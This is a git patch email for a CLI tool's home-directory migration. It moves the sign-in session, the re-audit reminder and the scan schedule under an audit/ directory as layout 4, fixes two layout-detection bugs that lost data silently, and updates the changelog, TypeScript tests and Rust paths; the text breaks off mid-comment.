From a3630a230f94ed6a3df0800c6e02be2c3a0288e4 Mon Sep 17 00:00:00 2001 From: SiddarthAA Date: Fri, 14 Aug 2026 17:03:28 +0530 Subject: [PATCH 01/24] Gather the audit's files under audit/, as layout 4 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit auth.json becomes audit/session.json, next-audit.json becomes audit/reminder.json, and state/audit-schedule.json becomes audit/schedule.json, so one directory answers "what does the audit know about this machine" the way policies/ answers it for enforcement. auditDir is now deliberately absent from HOME_CLASSES. It was classified `derived` wholesale — correct for a directory holding two caches, and a trap the moment a credential moved in, because resettablePaths() is a filter over that table and a reset would have deleted the user's tokens. It is MIXED now and classified per-file, exactly like state/ already is. Two paths join them, and the split between them is the design rather than tidiness: session.json holds the tokens (user-typed), machine.json holds the report id and digest watermark (identity). Both have to outlive a sign-out — regenerate the id and the server sees a new machine on every logout; reset the watermark and the next digest re-reports months of history — so they cannot live in the file a sign-out deletes. The migration is three moves and no deletions, each a rename with a copy fallback for the EXDEV case. A missing source is success (most homes never signed in); an existing destination wins, since re-running the step is what happens when a later step throws and the user retries. session.json's 0600 is reasserted rather than assumed, because the copy fallback inherits the umask. All three are backed up first: auth.json is a live credential that, unlike every other file in that list, was never on a delete list and so has never had a copy taken before a migration touched it. next-audit.json is MOVED rather than retired even though the scheduled-audit work replaces reminders — deleting it before that lands would drop a cadence a person chose, with no way back if the follow-up slipped. Also fixes two landmark bugs in detectLayout() that the bump exposed, both silent data loss: - `config.toml` with no `config.json` returned LAYOUT_VERSION - 1, which read correctly at 3 and reported a real layout-2 home as 3 at 4. Only the 3 -> 4 step would run, moving nothing and stamping the home current, so config.toml and credentials.toml were never carried into JSON and the cloud token and daemon.configured were orphaned. A landmark identifies ONE layout and is never relative to what this build speaks. - `config.json` proves "3 or later" and cannot separate them, so a layout-3 home that lost its VERSION was called current, the move never ran, and the user was signed out with auth.json still on disk. What separates 3 from 4 is where the audit's files sit, so it asks that directly; with none present the layouts are identical on disk and current is correct. Co-Authored-By: Claude Opus 5 (1M context) --- CHANGELOG.md | 8 +- __tests__/hooks/fp-home.test.ts | 56 +++++++++-- __tests__/hooks/migrations.test.ts | 145 +++++++++++++++++++++++++++-- crates/failproofaid/src/paths.rs | 15 ++- lib/auth/auth-store.ts | 23 +++-- src/hooks/fp-config.ts | 25 ++++- src/hooks/fp-home.ts | 122 ++++++++++++++++++++++-- src/hooks/migrations.ts | 102 +++++++++++++++++++- 8 files changed, 459 insertions(+), 37 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9081affe..cbf911b5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,9 +1,15 @@ # Changelog -## 1.0.1-beta.0 — 2026-08-12 +## 1.0.1-beta.0 — 2026-08-14 ### Features +- Gather everything the audit owns under `audit/`, as layout 4. `auth.json` becomes `audit/session.json`, `next-audit.json` becomes `audit/reminder.json`, and `state/audit-schedule.json` becomes `audit/schedule.json`, so one directory answers "what does the audit know about this machine" the way `policies/` answers it for enforcement. Two new paths join them, and the split between them is the design rather than tidiness: `session.json` holds the tokens and is `user-typed`, while `machine.json` holds this machine's report id and its digest watermark and is `identity`. Both fields have to outlive a sign-out — regenerate the id and the server sees a brand-new machine on every logout, reset the watermark and the next digest re-reports months of history as though it just happened — so they cannot live in the file a sign-out deletes. **`auditDir` is now deliberately absent from `HOME_CLASSES`.** It was classified `derived` wholesale, which was correct for a directory holding two caches and became a trap the moment a credential moved in: `resettablePaths()` is a filter over that table, so a reset and every future migration would have deleted the user's tokens. It is MIXED now and classified per-file, exactly like `state/` already is, and the `COVERED_BY_PARENT` guard records it as the second entry mapping to itself. The migration is three moves and no deletions, each a rename with a copy fallback because `audit/` and the home root land on different filesystems once `$HOME` is a network mount and `rename(2)` returns `EXDEV` there. A missing source is success — most homes never signed in, so two of the three files are absent on the majority of machines — and an existing destination wins, because re-running the step is exactly what happens when a later step in the same chain throws and the user retries; the stale original is dropped rather than left at the root, since a second copy of a bearer credential is a liability. `session.json`'s mode is reasserted to `0600` afterwards rather than assumed, because a rename preserves it and the copy fallback inherits the umask. All three are backed up first: `auth.json` is a live credential that, unlike every other file in that list, was never on a delete list and so has never had a copy taken before a migration touched it. `next-audit.json` is MOVED rather than retired even though the scheduled-audit work replaces reminders, because a migration that deleted it before that work landed would drop a cadence a person chose with no way back if the follow-up slipped. (#695) + +### Fixes + +- Stop `detectLayout()` deriving a landmark's layout from whatever this build speaks. `config.toml` with no `config.json` returned `LAYOUT_VERSION - 1`, which read correctly while current was 3 and became silent data loss at 4: a genuine layout-2 home was reported as layout 3, so `planMigration` ran only the 3 → 4 step — which finds none of layout 3's files, moves nothing, and stamps the home as current. `config.toml` and `credentials.toml` would never be carried into JSON, orphaning the cloud token and `daemon.configured` on a machine that then reads as fully migrated. A landmark identifies ONE layout and is never relative. The `config.json` branch above it had the same shape with a different ending: that file proves "layout 3 or later" and cannot separate the two, so a layout-3 home that lost its `VERSION` was called current, the 3 → 4 move never ran, and the user was silently signed out with `auth.json` still sitting on disk. What actually separates 3 from 4 is where the audit's files sit, so it now asks that directly — any of the three still at the root means stale — and when none are present the two layouts are identical on disk, the step would move nothing, and current is the correct non-destructive answer. Found by the layout-4 bump: the assertion that caught it was pinned to `2` and started failing the moment the constant moved, which is the whole reason it was written that way. (#695) + - Move the nightly doc translation onto the canary box too, so one machine and one installer carry both scheduled jobs. Runner minutes were the entire cost of both crons; the LLM spend is identical wherever they run. The runner image already knew how to lock, check out a ref and hand off to a script from that checkout, so `$CANARY_JOB` now selects WHICH script — `jobs/canary.sh` (the integration suite, 11:00 local) or `jobs/translate.sh` (the translation, 02:00 local) — resolved to a path rather than through a case statement, so a third job is a new file in the repo and never an image rebuild. Everything per-run is keyed by job: the **lock** above all, because one shared lock lets a canary wedged on a vendor CLI swallow the night's translation and the swallow is a clean `exit 0` that reports nowhere; also the clone, since translate commits and switches branches inside its checkout, and the log. `install.sh` grew `--jobs`, per-job `--at-*` flags and one cron line per job, each behind its own marker so installing one never strips the other's; it validates credentials **per job**, so installing only the canary never demands a translation PAT, and it prints the timezone cron resolved, because "02:00" read as UTC on an IST box is 07:30 and the person reading the output is the one who would be surprised. Three things collapse in the move and are why the job is shorter than the workflow it replaces: the 14-way matrix was runner parallelism, not translation structure (cli.ts already fans out over pages x languages under one limit, so one process at `TRANSLATE_MAX_CONCURRENT=16` reproduces CI's exact peak of `max-parallel: 4` x 4 — which deletes the artifact round-trip, the per-language cache fragments and the ~35-line script that merged them); the Actions cache layer becomes a 13 KB file symlinked into the checkout from the work dir; and `consolidate`'s re-checkout-and-overlay existed only because its siblings ran on other machines. The one genuinely new credential is a push token — Actions minted a repo-scoped `GITHUB_TOKEN` that died with the job, and a box needs a long-lived fine-grained PAT, which is why it goes in a git credential helper rather than the remote URL: git echoes the remote back on a push error and the Slack crash-note carries the log tail. The translate job posts **nothing** to Slack — its output is the pull request it opens, which the PR list already says; its failures land in the run log and the exit code. The canary keeps reporting on every run including the quiet ones, so silence from it means the box did not run rather than that all was well. (#694) - Audit the documentation weekly, on the same box. `mintlify validate` and `validate:mdx` answer "does this build", per PR, on the pages a PR touches — and pass happily on a corpus that builds perfectly and is quietly wrong: a page nobody has edited since the CLI it documents was rewritten, a page in the nav that is gone, a page in **no** nav and so unreachable by any reader, an in-body link to something renamed, a translation still describing last quarter's behaviour. None of that fails a build, which is precisely the shape a periodic sweep catches and a per-PR gate structurally cannot. `docs-audit` runs Mondays at 04:00 and posts what it found. It is the cheapest job on the box — **no gateway key, no push token, no sibling containers**, so it installs on a machine holding no credentials at all beyond the webhook — and that is deliberate: an audit that could also FIX what it finds would need write access and a much longer argument about what it may change unattended. It **reports and exits 0 by design**; `--fail-on-findings` exists for a future caller that wants a gate and is off by default, because a docs audit that turns the build red the day a page crosses an age threshold gets switched off within a week, and then there is neither a gate nor a report. It reports two ways: the weekly Slack post, and one `[auto] docs audit` tracking ISSUE kept current on GitHub — opened when there is something to do, its body refreshed each week, and closed when a week comes back clean, so an open issue always means "there is something to do" rather than "this ran once, months ago". An issue and not a PR, deliberately: a report is not a change, so a weekly PR would either sit open forever or auto-merge a file nobody reads, and an audit opening a FIXING PR would have almost nothing safe to put in it — a dangling nav entry might mean "delete the entry" or "restore the page", an orphan page might be deliberately unlisted, a broken link has no inferable target, and each is a judgement this job cannot make. Its token is correspondingly weak, `Issues: read+write` and nothing else, since it never changes a file; leave it empty and the job degrades to Slack alone. `countActionable` decides open-vs-closed and deliberately EXCLUDES stale and never-translated pages, because the nightly translation closes both by itself and counting them would hold the issue open forever — the only way a tracking issue can actually fail. The judgement lives in `scripts/docs-audit.ts` — pure functions taking the git log, the file list and the cache as arguments, so every detector is unit-tested in **both** directions (it fires on the bad case, and stays silent on the good one) without a repo, a docs tree or a clock; the shell job is only box wiring around `bun run docs:audit`, which anyone can run by hand. Two details worth knowing: it reads the same translation cache the nightly job writes, or every page would report as never-translated every week — a 672-line finding that is an artefact of where a file lives rather than a fact about the docs; and it skips link forms it cannot resolve (external, anchors, relative) rather than guessing, because the first finding nobody can reproduce is what gets the whole weekly post ignored. It also hardened the ref check. Matching the NAME against one known-stale branch (`origin/failproofaid`) only ever caught that one branch — a merged-and-deleted feature branch sailed straight through, which is exactly what was sitting in a real `secrets.env`: `CANARY_REF=origin/feat/canary-local-runner`, so the box would have tested a frozen tree forever and never said so. The installer now asks the REMOTE whether the branch still exists, which catches every deleted branch without naming any, and warns (without refusing) on anything that is not `origin/main` — legitimate for a one-off, rarely right for a cron line. Scheduling it also taught the installer to say weekly at all: a spec is now `"M H"` or a full five-field cron expression, and a job name may carry a dash (`docs-audit` is a valid path component and an invalid shell variable name), so every per-job lookup goes through one conversion rather than each site remembering. (#694) diff --git a/__tests__/hooks/fp-home.test.ts b/__tests__/hooks/fp-home.test.ts index 285a104c..6f05f3ea 100644 --- a/__tests__/hooks/fp-home.test.ts +++ b/__tests__/hooks/fp-home.test.ts @@ -66,7 +66,7 @@ describe("fp-home layout", () => { // writes — and an absent file is indistinguishable from a lane that has // never run. Kept next to the Rust literal so the pair has to be changed // together. - expect(H.auditScheduleFile()).toBe(resolve(home, "state", "audit-schedule.json")); + expect(H.auditScheduleFile()).toBe(resolve(home, "audit", "schedule.json")); }); it("keeps run/ shallow — sockets must fit in SUN_LEN", () => { @@ -188,8 +188,13 @@ describe("HOME_CLASSES", () => { customPoliciesDir: "policiesDir", customAgentsEventsDir: "customAgentsDir", customAgentsFailedDir: "customAgentsDir", - auditDashboardFile: "auditDir", - auditCacheDir: "auditDir", + // `auditDir` maps to ITSELF, the second entry to do so after `stateDir` and + // for the same reason: layout 4 made it MIXED. It holds `session.json` (a + // credential) and `machine.json` (an identity) alongside three derived + // caches, so it is classified per-file and the parent is deliberately absent + // from `HOME_CLASSES`. Its children are therefore classified directly and no + // longer appear here. + auditDir: "auditDir", daemonSocket: "runDir", workerSocket: "runDir", daemonLock: "runDir", @@ -235,10 +240,12 @@ describe("HOME_CLASSES", () => { const classified = new Set(H.HOME_CLASSES.map((e) => e.path())); for (const [child, parent] of Object.entries(COVERED_BY_PARENT)) { const parentFn = H[parent] as (h?: string) => string; - // `stateDir` is the one entry that maps to itself: it is deliberately NOT - // classified, because it is MIXED — `spool/` and `telemetry-id` must never - // be dropped while a dozen scratch files under it should be. Listing the - // parent is exactly how a reset came to delete undelivered events. + // `stateDir` and `auditDir` map to themselves: both are deliberately NOT + // classified, because both are MIXED — `spool/` and `telemetry-id` must + // never be dropped while a dozen scratch files under `state/` should be, + // and `audit/` holds a session token and a machine identity next to two + // caches. Listing the parent is exactly how a reset came to delete + // undelivered events, and is what would have deleted the token here. if (child === parent) { expect(classified.has(parentFn())).toBe(false); continue; @@ -365,6 +372,41 @@ describe("detectLayout", () => { if (state.kind === "stale") expect(state.found).toBe(2); }); + it("reports a layout-2 home as 2, never as 'one behind whatever this build is'", () => { + // The landmark identifies ONE layout. `found: LAYOUT_VERSION - 1` read + // correctly while current was 3 and silently became data loss at 4: a real + // layout-2 home was reported as 3, so only the 3 → 4 step ran — which finds + // none of layout 3's files, moves nothing, and stamps the home current. + // config.toml and credentials.toml would never be carried into JSON, leaving + // the cloud token and `daemon.configured` orphaned on a machine that now + // reads as fully migrated. + writeFileSync(H.legacy.configToml(), 'mode = "oss"\n'); + const state = detectLayout(); + expect(state.kind).toBe("stale"); + if (state.kind === "stale") expect(state.found).toBe(2); + }); + + it("calls a config.json home with layout-3 audit files still at the root stale, not current", () => { + // `config.json` proves "3 or later" and cannot separate them, so the audit + // files' POSITION is the discriminator. Getting this wrong skips the 3 → 4 + // move: auth.json stays at the root, `audit/session.json` never appears, and + // the user is silently signed out with the file still sitting on disk. + writeFileSync(H.configFile(), "{}"); + writeFileSync(H.legacy.authJson(), "{}"); + const state = detectLayout(); + expect(state.kind).toBe("stale"); + if (state.kind === "stale") expect(state.found).toBe(3); + }); + + it("calls a config.json home with no layout-3 audit files current", () => { + // The other direction: with none of those three present the two layouts are + // identical on disk — the step would move nothing — so reporting stale would + // run a migration to achieve exactly nothing, on the commonest home there is + // (one that has never signed in). + writeFileSync(H.configFile(), "{}"); + expect(detectLayout().kind).toBe("current"); + }); + it("distinguishes a FUTURE layout from a stale one", () => { // Telling someone to reset a home written by a newer CLI would delete data // a simple upgrade would have read fine. diff --git a/__tests__/hooks/migrations.test.ts b/__tests__/hooks/migrations.test.ts index ae0b3bc8..62e59c24 100644 --- a/__tests__/hooks/migrations.test.ts +++ b/__tests__/hooks/migrations.test.ts @@ -8,11 +8,23 @@ * layout change runs nothing at all. */ import { describe, it, expect, beforeEach, afterEach } from "vitest"; -import { mkdtempSync, rmSync, mkdirSync, writeFileSync, readFileSync, existsSync } from "node:fs"; +import { + mkdtempSync, + rmSync, + mkdirSync, + writeFileSync, + readFileSync, + existsSync, + statSync, +} from "node:fs"; import { tmpdir } from "node:os"; import { resolve } from "node:path"; import { LAYOUT_VERSION, + auditDir, + auditReminderFile, + auditScheduleFile, + auditSessionFile, configFile, credentialsFile, globalPolicyConfigFile, @@ -332,6 +344,96 @@ describe("the backup taken before a migration", () => { }); }); +describe("layout 3 → 4", () => { + /** A layout-3 home that has signed in, set a reminder, and been scanned. */ + function seedLayoutThree() { + mkdirSync(home, { recursive: true }); + mkdirSync(resolve(home, "state"), { recursive: true }); + writeFileSync(configFile(), '{"mode":{"kind":"oss"}}'); + writeFileSync(legacy.authJson(), '{"access_token":"at","refresh_token":"rt"}', { mode: 0o600 }); + writeFileSync(legacy.nextAudit(), '{"next_audit_at":123,"user_email":"a@b.c"}'); + writeFileSync(legacy.auditSchedule(), '{"schema":1,"next_due_at_ms":999}'); + writeFileSync(versionFile(), JSON.stringify({ layout: 3, cli: "1.0.0", daemon: "1.0.0" })); + } + + it("moves all three files under audit/ and leaves nothing at the root", () => { + seedLayoutThree(); + + runMigrations(3); + + expect(JSON.parse(readFileSync(auditSessionFile(), "utf8")).access_token).toBe("at"); + expect(JSON.parse(readFileSync(auditReminderFile(), "utf8")).user_email).toBe("a@b.c"); + expect(JSON.parse(readFileSync(auditScheduleFile(), "utf8")).next_due_at_ms).toBe(999); + + expect(existsSync(legacy.authJson())).toBe(false); + expect(existsSync(legacy.nextAudit())).toBe(false); + expect(existsSync(legacy.auditSchedule())).toBe(false); + expect(readVersionFile()?.layout).toBe(LAYOUT_VERSION); + }); + + it("keeps the daemon version, which nothing on this path touches", () => { + // The step stamps VERSION through `writeVersionFile()` rather than writing + // the JSON by hand. Hand-rolling it drops `daemon`, which `daemonVersionSkew()` + // reads on every CLI command — so the machine would silently stop being told + // its daemon is behind. + seedLayoutThree(); + runMigrations(3); + expect(readVersionFile()?.daemon).toBe("1.0.0"); + }); + + it("keeps the session file owner-only", () => { + // A rename preserves the mode and the copy fallback does not, so the step + // reasserts it either way. This file's entire content is a bearer credential. + seedLayoutThree(); + runMigrations(3); + expect(statSync(auditSessionFile()).mode & 0o777).toBe(0o600); + }); + + it("treats a home that never signed in as a clean no-op", () => { + // The commonest home there is: `auth.json` and `next-audit.json` are absent + // on every machine that never logged in, and a scan that never ran leaves no + // schedule. A missing source is success, not an error to stop the chain on. + mkdirSync(home, { recursive: true }); + writeFileSync(configFile(), '{"mode":{"kind":"oss"}}'); + writeFileSync(versionFile(), JSON.stringify({ layout: 3, cli: "1.0.0" })); + + const run = runMigrations(3); + + expect(run.failed).toBeUndefined(); + expect(existsSync(auditSessionFile())).toBe(false); + expect(readVersionFile()?.layout).toBe(LAYOUT_VERSION); + }); + + it("does not copy a stale root file back over a layout-4 one", () => { + // Re-running the step is exactly what happens when a later step in the same + // chain throws and the user retries. The layout-4 file is authoritative by + // then, and clobbering it would restore a session that has since been + // refreshed — or, worse, one the user had signed out of. + seedLayoutThree(); + mkdirSync(auditDir(), { recursive: true }); + writeFileSync(auditSessionFile(), '{"access_token":"NEWER"}'); + + runMigrations(3); + + expect(JSON.parse(readFileSync(auditSessionFile(), "utf8")).access_token).toBe("NEWER"); + // The stale original is dropped rather than left lying at the root — it is a + // credential, and a second copy of one is a liability. + expect(existsSync(legacy.authJson())).toBe(false); + }); + + it("backs the three up before moving them", () => { + // `auth.json` is a live bearer credential that, unlike every other backed-up + // file, was never on a delete list — so it has never had a copy taken before + // a migration touched it. A move is not a deletion, but a move with a bug in + // it is. + seedLayoutThree(); + const saved = backupBeforeMigrating(3); + expect(saved).toContain("auth.json"); + expect(saved).toContain("next-audit.json"); + expect(saved).toContain("audit-schedule.json"); + }); +}); + describe("runMigrations", () => { function seedLayoutTwo() { mkdirSync(home, { recursive: true }); @@ -351,24 +453,46 @@ describe("runMigrations", () => { const run = runMigrations(2); - expect(run.steps).toEqual([{ from: 2, to: LAYOUT_VERSION, ok: true }]); + // Asserted as the SHAPE of a chain rather than a fixed step count: the chain + // from 2 was one hop at layout 3 and is two at layout 4, and a hardcoded + // count turns every future layout bump into a test edit that says nothing. + // What must hold is that the recorded chain starts where the home was, ends + // where this build speaks, and links end to end with no gap. + expect(run.steps.length).toBeGreaterThan(0); + expect(run.steps.every((s) => s.ok)).toBe(true); + expect(run.steps[0].from).toBe(2); + expect(run.steps.at(-1)?.to).toBe(LAYOUT_VERSION); + for (let i = 1; i < run.steps.length; i += 1) { + expect(run.steps[i].from).toBe(run.steps[i - 1].to); + } + const ledger = readLedger(); - expect(ledger).toHaveLength(1); + expect(ledger).toHaveLength(run.steps.length); expect(ledger[0].from).toBe(2); - expect(ledger[0].to).toBe(LAYOUT_VERSION); - expect(ledger[0].ok).toBe(true); - expect(ledger[0].cli).toMatch(/\d+\.\d+\.\d+/); - expect(ledger[0].at).toMatch(/^\d{4}-\d{2}-\d{2}T/); + expect(ledger.at(-1)?.to).toBe(LAYOUT_VERSION); + for (const entry of ledger) { + expect(entry.ok).toBe(true); + expect(entry.cli).toMatch(/\d+\.\d+\.\d+/); + expect(entry.at).toMatch(/^\d{4}-\d{2}-\d{2}T/); + } }); it("appends rather than replacing, so the history survives a second migration", () => { seedLayoutTwo(); runMigrations(2); + const afterFirst = readLedger().length; + expect(afterFirst).toBeGreaterThan(0); + // A later layout bump on the same machine. writeFileSync(versionFile(), 'layout = 1\n'); runMigrations(1); - expect(readLedger()).toHaveLength(2); + // Grew rather than being replaced. Comparing against the first run's own + // count instead of a literal keeps this about APPENDING, which is the + // property under test, rather than about how many hops a chain happens to + // take in the current layout. + expect(readLedger().length).toBeGreaterThan(afterFirst); + expect(readLedger().slice(0, afterFirst).every((e) => e.from === 2 || e.from === 3)).toBe(true); }); it("backs up BEFORE the first step, against the layout actually found", () => { @@ -486,7 +610,10 @@ describe("describePlan", () => { const lines = describePlan(2).join("\n"); expect(lines).toContain(`Layout 2 on disk; this build speaks ${LAYOUT_VERSION}`); - expect(lines).toContain("1 step(s) would run"); + // Derived from the plan rather than hardcoded: the dry run's job is to state + // the real chain, so asserting a literal count would only pin the test to + // today's layout while proving nothing about the report being accurate. + expect(lines).toContain(`${planMigration(2).length} step(s) would run`); expect(lines).toContain("config.toml"); // The promise a dry run makes. expect(existsSync(migrationLedgerFile())).toBe(false); diff --git a/crates/failproofaid/src/paths.rs b/crates/failproofaid/src/paths.rs index 204e534c..b5b05ef6 100644 --- a/crates/failproofaid/src/paths.rs +++ b/crates/failproofaid/src/paths.rs @@ -138,10 +138,17 @@ pub fn flush_request_path() -> io::Result { Ok(failproofai_home()?.join("state").join("flush-request.json")) } +/// `~/.failproofai/audit/schedule.json` — when the scheduled audit last ran and +/// when the next one is due. +/// +/// Layout 4 moved it out of `state/` and in beside the audit results it belongs +/// with. Still daemon-sole-writer, still `derived` on the CLI side; only the +/// directory changed. `every_mirrored_path_agrees_with_fp_home_ts` is what makes +/// the two halves of that move land together — a home where the daemon writes +/// the old path and the dashboard reads the new one does not fail, it just shows +/// "no scheduled scan has run yet" forever. pub fn audit_schedule_path() -> io::Result { - Ok(failproofai_home()? - .join("state") - .join("audit-schedule.json")) + Ok(failproofai_home()?.join("audit").join("schedule.json")) } /// `~/.failproofai/state/telemetry-id` — the anonymous instance id the CLI @@ -187,7 +194,7 @@ pub fn failproofai_home() -> io::Result { /// `src/hooks/fp-home.ts`, and the parity test below asserts the two agree — /// every path in this file is only correct for one layout, so a mismatch here is /// a daemon reading and writing somewhere nothing else looks. -pub const LAYOUT_VERSION: u32 = 3; +pub const LAYOUT_VERSION: u32 = 4; /// `~/.failproofai/VERSION` — the layout marker the CLI stamps. pub fn version_file_path(home: &std::path::Path) -> PathBuf { diff --git a/lib/auth/auth-store.ts b/lib/auth/auth-store.ts index a3ec0c1c..8deb4078 100644 --- a/lib/auth/auth-store.ts +++ b/lib/auth/auth-store.ts @@ -10,7 +10,7 @@ import { existsSync, readFileSync, rmSync } from "node:fs"; import { join } from "node:path"; import { writeJsonAtomically } from "../atomic-write"; -import { failproofaiHome } from "../../src/hooks/fp-home"; +import { auditDir, auditReminderFile, auditSessionFile } from "../../src/hooks/fp-home"; import { AuthApiError, decodeJwt, @@ -27,20 +27,31 @@ export interface StoredAuth { user: { id: string; email: string }; } +/** + * Where the session and reminder files live. + * + * `FAILPROOFAI_AUTH_DIR` overrides it OUTRIGHT — the override names the + * directory the two files sit in directly, with no `audit/` beneath it, which is + * the contract it has always had and what every test using it expects. Without + * the override the paths come from `fp-home.ts`, which as of layout 4 puts them + * under `audit/` with the rest of what the audit owns. + */ export function getAuthDir(): string { const override = process.env.FAILPROOFAI_AUTH_DIR; if (override) return override; - return failproofaiHome(); + return auditDir(); } export function getAuthFilePath(): string { - return join(getAuthDir(), "auth.json"); + const override = process.env.FAILPROOFAI_AUTH_DIR; + return override ? join(override, "session.json") : auditSessionFile(); } -/** Location of the persisted re-audit reminder (separate from auth.json so - * the reminder survives unrelated session refreshes). */ +/** Location of the persisted re-audit reminder — a separate file from the + * session so the reminder survives a token refresh, and a sign-out. */ export function getReminderFilePath(): string { - return join(getAuthDir(), "next-audit.json"); + const override = process.env.FAILPROOFAI_AUTH_DIR; + return override ? join(override, "reminder.json") : auditReminderFile(); } export interface StoredReminder { diff --git a/src/hooks/fp-config.ts b/src/hooks/fp-config.ts index 78121448..50be8d89 100644 --- a/src/hooks/fp-config.ts +++ b/src/hooks/fp-config.ts @@ -102,6 +102,20 @@ export function detectLayout(): LayoutState { // went missing is the exact failure this module exists to prevent, and it // announced itself as a routine "reorganised your home" message. if (existsSync(configFile())) { + // `config.json` proves layout 3 OR LATER — it cannot tell them apart, since + // layout 4 changed nothing about it. What separates the two is solely WHERE + // the audit's files sit, so ask that directly: any of layout 3's three + // root-level positions still occupied means the 3 → 4 move has not run. + // + // When none of them exist the two layouts are IDENTICAL on disk (the step + // would move nothing), and "current" is the correct, non-destructive answer. + const layoutThreePositions = [ + legacy.authJson(), + legacy.nextAudit(), + legacy.auditSchedule(), + ]; + if (layoutThreePositions.some((p) => existsSync(p))) return { kind: "stale", found: 3 }; + // `inferred`: the layout is right but the MARKER is missing, and nothing // else rewrites it — so every later command re-derives it from a landmark, // and the daemon version recorded in that file is gone for good @@ -112,7 +126,16 @@ export function detectLayout(): LayoutState { // `config.toml` and no `config.json` is genuinely layout 2, and a reset is // right: its files are the ones being replaced. - if (existsSync(legacy.configToml())) return { kind: "stale", found: LAYOUT_VERSION - 1 }; + // + // The literal 2, NOT `LAYOUT_VERSION - 1`. That expression was correct while + // current was 3 and became a data-loss bug the moment layout 4 landed: it + // reported a real layout-2 home as layout 3, so `planMigration` ran only the + // 3 → 4 step — which finds none of layout 3's files, moves nothing, and stamps + // the home as current. `config.toml` and `credentials.toml` would never be + // carried into JSON, orphaning the cloud token and `daemon.configured` on a + // machine that now reads as fully migrated. A landmark identifies ONE layout; + // it is never relative to whatever this build happens to speak. + if (existsSync(legacy.configToml())) return { kind: "stale", found: 2 }; // Layout 1 if any of its landmarks are present, otherwise this is simply a // home that has not been set up yet. diff --git a/src/hooks/fp-home.ts b/src/hooks/fp-home.ts index a9f6f6bb..a844535e 100644 --- a/src/hooks/fp-home.ts +++ b/src/hooks/fp-home.ts @@ -56,7 +56,13 @@ * policies/ every policy: the user's *.mjs sit directly here * cloud-policies/ the fleet's — flat: active.json, desired-state.json, artifacts/ * cursors// per-source collector watermarks - * audit/ audit report + per-session cache + * audit/ MIXED — see the classification note below + * dashboard.json last result (derived) + * cache/ per-transcript cache (derived) + * schedule.json daemon's scan timer (derived) + * session.json 0600 the signed-in user (user-typed) + * machine.json this machine's report identity (identity) + * reminder.json the re-audit nudge (user-typed) * hook-activity/ decision log the dashboard reads * custom-agents/ SDK spool (events/ + failed/) * run/ sockets + flock — MUST stay shallow, see below @@ -88,9 +94,15 @@ import { resolve } from "node:path"; * yields "no data" instead of an error. * * 1 — the original flat/`cache`-based layout, through 1.0.0-beta.5. - * 2 — this file. + * 2 — `config.toml` / `credentials.toml`, policies nested two levels down. + * 3 — JSON config + credentials, policies flattened back up. + * 4 — everything the audit owns moved under `audit/`: the signed-in session + * (from `auth.json`), the re-audit reminder (from `next-audit.json`) and + * the daemon's scan timer (from `state/audit-schedule.json`). The point is + * that one directory now answers "what does the audit know about this + * machine", the way `policies/` answers it for enforcement. */ -export const LAYOUT_VERSION = 3; +export const LAYOUT_VERSION = 4; /** * `~/.failproofai`, or `FAILPROOFAI_HOME`. @@ -212,10 +224,63 @@ export const customAgentsFailedDir = (home?: string) => resolve(customAgentsDir( // ── Audit ──────────────────────────────────────────────────────────────────── +/** + * Everything the audit owns, and a MIXED directory as of layout 4. + * + * `auditDir` is deliberately NOT classified in `HOME_CLASSES`, for exactly the + * reason `stateDir` is not: it now holds a credential and a machine identity + * alongside two caches, so one class cannot be right for all of it. Before + * layout 4 the whole directory was `derived` — correct then, and the trap the + * moment `session.json` moved in, because `resettablePaths()` is a filter over + * that table and would have deleted the user's tokens on every reset and every + * future migration. Classify the CHILDREN; never the parent. + */ export const auditDir = (home?: string) => atHome(home, "audit"); export const auditDashboardFile = (home?: string) => resolve(auditDir(home), "dashboard.json"); export const auditCacheDir = (home?: string) => resolve(auditDir(home), "cache"); +/** + * The signed-in user's tokens. `0600`, written only by the dashboard's auth + * routes and the audit child (`lib/auth/auth-store.ts`). + * + * Layout 3 kept this at the home root as `auth.json`, where it was invisible to + * `HOME_CLASSES` altogether — neither classified nor deleted, safe by accident + * rather than by decision. It is `user-typed`: nothing regenerates a session, + * and dropping it silently signs the machine out. + * + * TS-only, so it is absent from `paths.rs` by design: the daemon never opens + * it. The audit child does the reporting precisely so the daemon holds no human + * credential — see `audit_lane.rs`. + */ +export const auditSessionFile = (home?: string) => resolve(auditDir(home), "session.json"); + +/** + * This machine's report identity: the id the api-server keys reports on, and + * the watermark saying how far the last digest reached. + * + * SEPARATE from `auditSessionFile` on purpose, and the separation is the whole + * design. Both fields have to outlive a sign-out: regenerate the id and the + * server sees a brand-new machine and burns a slot off the account's cap on + * every logout; reset the watermark and the next digest re-reports months of + * history as though it just happened. So this is `identity` — never deleted, + * like `cursors/` and `telemetryIdFile` — while the tokens beside it come and + * go with the session. + * + * Minted fresh rather than reusing `telemetryIdFile`, so opting into emailed + * reports never links the anonymous telemetry person to a verified address. + */ +export const auditMachineFile = (home?: string) => resolve(auditDir(home), "machine.json"); + +/** + * The re-audit reminder a signed-in user set. + * + * Layout 3's `next-audit.json`, at the home root and likewise unclassified. + * Moved rather than retired: the scheduled-audit work that replaces reminders + * lands separately, and a migration that deleted this before that landed would + * drop a setting a person chose, with no way back if the follow-up slipped. + */ +export const auditReminderFile = (home?: string) => resolve(auditDir(home), "reminder.json"); + // ── Hook activity ──────────────────────────────────────────────────────────── /** The decision log: page-sized JSONL the dashboard's activity tab reads. */ @@ -270,10 +335,17 @@ export const sessionPauseDir = () => resolve(stateDir(), "sessions"); * mirrors this path in `paths.rs`) — it owns the schedule, and a second writer * racing it could hand a machine two full scans back to back. Everything on this * side reads it: the interval itself lives in `config.json`'s `audit` object, - * which a human edits, while this file is derived state a human never opens, - * which is why it sits under `state/` rather than beside the audit results. + * which a human edits, while this file is derived state a human never opens. + * + * Layout 4 moved it out of `state/` and in beside the audit results. It stays + * `derived` — losing it costs one rescheduled scan, nothing more — but it now + * sits with the rest of what the audit owns rather than in the daemon's scratch + * drawer, which is what makes `audit/` answerable as one directory. + * + * Declared here, below `stateDir`, only because the section order of this file + * is historical; the path itself is under `auditDir`. */ -export const auditScheduleFile = (home?: string) => resolve(stateDir(home), "audit-schedule.json"); +export const auditScheduleFile = (home?: string) => resolve(auditDir(home), "schedule.json"); /** * The anonymous instance id this machine reports telemetry under. * @@ -427,6 +499,15 @@ export const HOME_CLASSES: readonly { path: (home?: string) => string; class: Da // source destroyed, while `isConfigured()` still read true so the wizard never // re-asked and hooks kept firing against 